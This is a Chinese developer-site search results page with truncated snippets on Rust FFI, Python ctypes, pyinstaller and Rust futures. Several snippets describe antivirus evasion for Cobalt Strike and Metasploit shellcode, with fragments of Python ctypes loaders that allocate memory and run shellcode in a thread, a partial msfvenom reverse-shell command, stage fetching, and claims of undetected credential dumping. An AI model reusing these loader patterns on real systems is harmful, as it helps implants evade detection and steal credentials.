首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

从 RUST 库中公开 FFI

FFI 可用于加快程序执行(这在 Python 或 Ruby 这类动态语言中很常见),或者只是因为你想使用一些其他语言编写库(例如 TensorFlow 核心库是用 C++ 写,并暴露了 C API...谁愿意使用这样名称? 然后,我们在函数定义,包含了两个额外关键字 unsafe 和 extern。...例如,如果 Manager 结构中包含 Mutex,它应该如何用 C 或 Python 4。 这就是为什么把结构体实现隐藏在 不透明指针 背后原因。...: &Manager = &manager_struct; 这里我们解引用 ptr ,并立即重新引用,就得到了我们结构体引用。...幸运是,在例子中,不需要接收传入字符串,但我要输出它们。非常类似于前面我们在其中使用了 Box 值例子。

1.8K30

免杀 | 利用Python免杀CS Shellcode

因为有效载荷(payload)功能不仅限于生成shell,所以有些人认为shellcode名称是不够严谨。然而,试图取代这一术语努力并没有得到广泛接受。...0x03 为什么使用python python语言入门门槛低,上手快,且两三年前就出现了这种免杀方式,但是很多人说网上公开代码已经不免杀了。事实真的如此吗?...个人建议:第一:不要使用pip方式安装PyInstaller,至于为什么,你多尝试几次就知道各种兼容环境是有多麻烦了。...当然这都是没用,接下来看看使用cs功能,会怎么样 1、logonpasswords ? ? 一切正常,且杀软没有任何拦截与提示 2、查看进程列表 ? 3、屏幕截图 ?...那为什么愿意 show you the code呢?因为就算公开代码被提取了特征码,自己再改改就不杀了啊,就这么简单。

4.2K62
您找到你想要的搜索结果了吗?
是的
没有找到

【译】使用“不安全“Python加速100倍代码运行速度

当我们将 SRCALPHA 传递给 Surface 构造函数,我们确实要求一个带有 alpha 通道 RGBA 图像。...在使用 numpy 和 pygame Surface,分别处理 RGB 和 alpha 总是很麻烦。为什么不是一个单一 pixels4d 函数呢? ...好吧,4 而不是 3 可以接受。...一?你从红色像素地址开始,要到绿色,你要往回走一个字节?!现在你只是在拿开玩笑。...(ctypes.c_void_p) ptr = ctypes.c_void_p(base.value + oft) return ptr, width, height, bgr 既然我们获得了像素数据基础...但除此之外,Python + ctypes + C 库在精神上有点类似于带有 unsafe Rust。该语言默认是安全,但在需要可以使用逃生通道。

11010

Rust FFI 编程 - 其它语言调用 Rust 代码 - Python

因此,同之前介绍过 C 调用 Rust 导出库类似,文章基本上均会先介绍该语言中支持 FFI 库,然后通过设计一些示例,分别介绍在该语言中调用 Rust 导出库,如何处理 Rust 中常见数据类型...其中,ctypes 已被包含在 Python 标准库中,成为 Python 内建用于调用动态链接库函数功能模块。...ctypes主要问题是,我们必须使用其特定 API 完全重复 C ABI 声明。cffi 则是则通过解析实际 C ABI 声明,自动推断所需数据类型和函数签名,以避免重写声明。...ctypes和cffi都使用了libffi,通过它实现 Python 动态调用其他语言库。在本文中示例,我们采用 cffi 库。...#[no_mangle] pub extern "C" fn sum_of_even(ptr: *const c_int, len: size_t) -> c_int { let slice =

2.2K40

免杀&&抽奖|python进行shellcode免杀

first_python_shellcodeloader.py : #coding=utf-8 #pythonctypes模块是内建,用来调用系统动态链接库函数模块 #使用ctypes库可以很方便地调用...# 申请内存:调用kernel32.dll动态链接库中VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int...= ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc...= ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc...只在运行环境系统使用UTC时间,才会执行payload 这里简单设置几个 然后输入,generate,然后选择3 输入CS16进制 shellcode字符串: 然后输入生成文件名称for_test

3.1K30

免杀&&抽奖|python进行shellcode免杀

first_python_shellcodeloader.py : #coding=utf-8 #pythonctypes模块是内建,用来调用系统动态链接库函数模块 #使用ctypes库可以很方便地调用...# 申请内存:调用kernel32.dll动态链接库中VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int...= ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc...= ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc...只在运行环境系统使用UTC时间,才会执行payload 这里简单设置几个 然后输入,generate,然后选择3 输入CS16进制 shellcode字符串: 然后输入生成文件名称for_test

3.3K30

ctypesC共享库中调用Python函数

概述 ctypes 是Python标准库中提供外部函数库,可以用来在Python中调用动态链接库或者共享库中函数,比如将使用大量循环代码写在C语言中来进行提速,因为Python代码循环实在是太慢了...现在有个更复杂情况,想要在C代码中调用Python中某些函数来完成C代码计算,比如在C代码sort函数中,采用Python中定义函数来进行大小判断。...这里使用了C语言函数指针类型,int (function_ptr)(int)中函数指针变量名是function_ptr, 返回值类型是前面的int,参数类型是后面的int。...然后执行这个Python脚本,可以得到下面的输出: $ python ctype_callback_demo.py 2 > 0 = 1 3....Numpy.ndarray 类型参数如何使用 ctypes 对 Python原生类型支持是没问题,但我们还会经常用到Numpyndarray对象,它们该如何转换为C语言可以识别的类型呢?

27430

Python 调用 C 动态链接库,包括结构体参数、回调函数等

三十二)---- ctypes使用整理 Python Ctypes 结构体指针处理(函数参数,函数返回) ctypes库 用Python ctypes 建立與C介面 Python调用C/C++动态链接库方法详解...【转】python中使用 C 类型数组以及ctypes 用法 ctypes 将函数指针转换为可调用对象 Python Ctypes结构体指针处理(函数参数,函数返回) Can't install...str instance 一些 Python 本身资料 由于研究 ctypes 是 Python 2.7,后来切换到 Python 3 时候稍微遇到一点适配问题,因此也顺便记录一下切换过程中参考一些资料...但是查了不少资料没能解决两个关键诉求(结构体参数和回调函数): Python调用C Python.h:No such file or directory 环境准备 ctypes 包准备 使用 ctypes...第三个要注意是:这个类必须定义为 ctypes.Structure 子类,否则在进行后续函数传递ctypes 由于不知道如何进行数据类型对应,会抛出异常 封装 .so 函数 class testdll

4.6K110

CS免杀-实现shellcode拉取stage

一位苦于信息安全萌新小白帽 本实验仅用于信息防御教学,切勿用于它用途 公众号:XG小刚 Shellcode原理 ---- 通常我们使用CS生成payload后,都是利用加载器将payload放在内存中运行...当我网上查资料发现,原来CS生成shellcode是使用wininet库实现加载器,用来下载对应stage(Beacon),并将stage注入到内存中去。...这里生成两个exe文件,一个32位,一个64位 可以看到URI为/trF4CS判断为32位,为/Ln5r判断为64位 这样访问http://192.168.10.1:8989/Ln5r就会返回给我们....VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),...(ptr,buf,len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) ctypes.windll.kernel32

1.7K40

pyinstaller打包成无控制台程序时运行出错(与popen冲突解决方法)

实际上会造成输入请求) 本质上就是:使用-w参数(无控制台)打包程序里不要请求输入 或者,你也可以不用-w参数,手动隐藏控制台!...有一天,使用了os.popen方法python程序用pyinstaller打包成exe(用了无控制台打包参数-w) 双击运行时程序却弹框报错! ?...就有点纳闷:为什么有控制台打包出来exe(不使用-w参数)可以运行,使用-w参数(无控制台)打包却不能运行呢?...重点就在输入(stdin)这里: 当我使用pyinstaller-w 参数(或Console=False)打包exe,python解释器是不带控制台, 所以它没有办法处理输入(stdin) !...当executable参数不为空,args里第一项被认为是“命令名”,不同于真正可执行文件文件名,这个“命令名”是一个用来显示名称,例如执行unix/linux下 ps 命令,显示出来就是这个

3.5K30

【翻译】200行代码讲透RUST FUTURES (4)

如果没有唤醒程序,执行程序将是通知正在运行任务唯一方式,而使用唤醒程序,我们将得到一个松散耦合,其中很容易使用leaf-future来扩展生态系统。...如果你想知道更多关于Rust中动态分发,可以推荐 Adam Schwalm 写一篇文章 Exploring Dynamic Dispatch in Rust. 让我们更详细地解释一下。...为了达到这个目的,我们使用动态分发。...("Mul: 3 * 2 = {}", test.mul()); } 稍后,当我们实现我们自己 Waker ,我们实际上会像这里一样建立一个 vtable。...奖励部分 您可能想知道为什么Waker是这样实现,而不仅仅是作为一个普通trait. 原因在于灵活性。以这里方式实现 Waker,可以很灵活地选择要使用内存管理方案。

68440

免杀初探:python加载shellcode免杀与国内主流杀软大战六个回合

调用kernel32.dll动态链接库中VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int...(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int...lport=8080 -f c 注意:python是64位,在环境中如果采用windows/meterpreter/reverse_tcp这个payload,最后实验会失败;但在一些x64...,如果当前网络状态不好,势必会对查杀效果有影响;另外如果用户错误点击了带有免杀木马,并不会有主动断开连接操作 3.win10普通用户,如果不是特别需要用到几款主流杀软一些功能,如:360软件管家...欢迎评论区留言告诉哦 参考链接: 小迪师傅ctypes免杀原文 python-ctypes官方文档 python使用ctypes库调用DLL动态链接库 Python x64下ctypes动态链接库出现

3.1K10

Shellcode Loader原理

,通过bytearray来获取转为bytes类型后shellcode ctypes库解释+restype设置返回类型 pythonctypes模块是内建,用来调用系统动态链接库函数模块 我们需要通过...(0x40)) #该内存初始保护属性 这是上文解释,其中IpAddress为0,也就是null,分配地址是由系统决定,无需用户自己指定 分配类型(不止) 0x3000则是第一个和第二个合并...( ctypes.c_uint64(ptr), #指向移动目的地址指针。...) buf中,利用ctypes传入一个字符串类型,然后通过RtlMoveMemory进行加载 需要注意是,在目的地址那也是需要使用c_uint64来表示64位 .from_buffer()为加载原文...可以指定一系列对象 ctypes.c_int(-1)) #定时时间间隔 定时时间间隔为负数,则表示无限等待时间 参考文章 内存管理-虚拟内存 https://www.cnblogs.com

1.2K20

免杀 - shellcode简单混淆BypassAv

shellcode解密 5、执行程序,上线C2 下面也直观列举了一幅图来说明,如下 ?...会得到这样一个内容文件 ? 简单处理payload.py shellcode文件 1、你可以直接把双引号里面的内容复制出来 2、写代码提取出来 这里第二种,附自己写垃圾代码 ?...对我们提取出来shellcode进行加密 这里使用base64加密 1、可以直接使用在线base64网站加密 https://base64.us/ 2、自写代码进行加密 这里使用Python...(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建线程运行完...结尾 这篇只是一个引子,大家还可以考虑 1、对我们生成exe再进行混淆 2、分离shellcode 后续有时间会给大家写一篇分离shellcode,上述过程皆可进行自动化生成,已经实现到自己平台了

2.6K10

利用动态 tracing 技术来 trace 内核中网络请求

这周帮朋友用 eBPF/SystemTap 这样动态 tracing 工具做了一些很有趣功能。...: Tcpdump 背后就是 BPF 然后在这次实现中,我们使用了 BCC 来简化我们 eBPF 相关编写难度 OK,先上代码 from bcc import BPF import ctypes...而我们依赖 kprobe 对于 eBPF 支持则是在 Linux 4.1 中实现。通常而言,我们一般推荐使用 4.9 及以上内核来配合 eBPF 使用 那么问题来了。...比如针对 Go 这样,所发出 HTTPS 连接有着固定特征语言,我们也可以用相对简单做法去完成机器上包来源溯源(大家可以参考下无辄这篇文章,为什么用 Go 访问某网站始终会 503 Service...但是要注意一点是,动态 tracing 技术引入势必增加了内核不稳定性,而且一定程度上会影响性能。

1.7K20

【翻译】200行代码讲透RUST FUTURES (2)

同时当涉及到并发性,我们也会解释为什么这么做,这将使我们更容易深入理解Futures. 为了好玩,在大多数示例中添加了一小段可运行代码。...这就是为什么今天你会看到如此多异步web框架和数据库驱动程序。 然而有大量问题,标准线程通常是正确解决方案。因此在使用异步库之前,请三思而后行。 现在,让我们来看看多任务处理其他选项。...“回调地狱” 这是一种非常不同编写程序方式,需要大量重写才能从“正常”程序流转变为使用“基于回调”程序流 在 Rust 使用这种方法,任务之间状态共享是一个难题,因为它所有权模型...你看,promises、futures和其他延迟计算名称经常被交替使用。...当我们在上面的例子中调用timer (200),我们得到一个状态pending承诺。

70410

【连载】两百行Rust代码解析绿色线程原理(四)一个绿色线程实现

naked_functions 当 Rust 编译一个函数,它会为每个函数添加一个小序言和尾声,这会在我们切换上下文给我们带来一些问题,因为我们最终得到了一个未对齐栈。...当我们生成一个新线程,我们首先要检查是否有任何可用线程(线程处于 Available 状态)。...当我们找到一个可用线程,我们得到栈长度和指向我们 u8 字节数组指针。 接下来,我们必须使用一些不安全功能。首先,我们确保指向堆栈底部指针是16字节对齐。...然后,我们写入 guard函数地址,当我们提供任务完成并且函数返回,将调用该地址。然后我们将 f 地址写入,这是我们通过参数传递进来想要运行函数。...当我使用 cargo run 命令运行工程,我们应该会得到以下输出: Finished dev [unoptimized + debuginfo] target(s) in 2.17s Running

67730

pyinstaller打包找不到文件问题解决

然后用spec打包:pyinstaller main.spec 解释一下这个点“.”是什么意思: 由于使用单文件打包出来exe会先解压再运行,所以点“.”...问题来了: 诸如open(‘xxx.txt’)这些操作文件函数,一般首先都是在工作路径查找你所指定文件。 所以,当我们直接这样执行已打包外部文件,程序会报找不到文件!...: C:\…\temp\asdqwezxc\ 第二句打印是这样: C:\…\temp\asdqwezxc\test\gg.exe 所以当我们在调用已打包外部文件,应该先使用os.chdir()...为什么呢?因为pyd文件来历是这样: py文件 → c文件 → pyd文件 所以直接反编译pyd只能得到上一步cython生成c文件,而无法得到我们py源文件。...这么智能,但是为什么用pyinstaller打包就提示找不到文件?

9.3K40

实战:使用rust开发动态链接库并在Golang中使用

例如我们想在Python中调用一个现成C语言开发动态库,我们会写下面的代码: from ctypes import cdll, c_char, c_char_p libc = cdll.LoadLibrary...Rust是为数不多【属于A类】【新一代】开发语言,所以,很看好它~ 为什么选择Golang作为调用示例 Golang 目前应用非常广泛,熟悉Golang小伙伴们也比较多,这样可能会有更多受众。...配置一个Rust项目,使之能够编译出满足C-ABI动态链接库 由于这是一个视频直播分享讲稿,为了能够快速给大家进行演示,事先准备好了各个环节需要使用代码,大家可以先克隆https://github.com...crate要编译输出一个符合C语言调用规范动态库文件,注意这里是cdylib,不是dylib,如果配置为dylib,则输出是符合rust调用规范动态库,只能在rust语言编写项目之间互相调用,不能跨到其他语言上使用...在go里面,直接把arg1、arg2、arg3这三个参数定义成uint8、uint16和uint32不就行了嘛。但这样也是不行: 通过cgo调用c函数,参数都要使用C这个模块内部提供类型。

2.5K10

厉害了,Python也能使用动态链接库

大家好,是Python进阶者。 前言 动态链接库(DLL)想必大家都不陌生了吧,C/C++编程经常会用到,那么,它跟我们Python有什么关系?...下面我们就来详细了解下到底Python使用动态链接库是怎么回事吧。 一、神秘模块 我们都知道C语言是比较靠近底层语言,所以我们要想使用动态链接库就要给Python和C构建一座桥梁。...今天我们要说这座桥梁就是---Ctypes。 二、安装并导入Ctypes 系统自带有该模块,若没有,安装Pywin32也就有了。...from ctypes import * 三、认识动态链接库 动态链接库在linux 系统中表现为“.so”后缀文件,而在Windows中表现为”.dll“后缀文件。...也可以使用抽象基类“_Pointer”来完成指针操作: import ctypes class ss(ctypes.

1.5K30
领券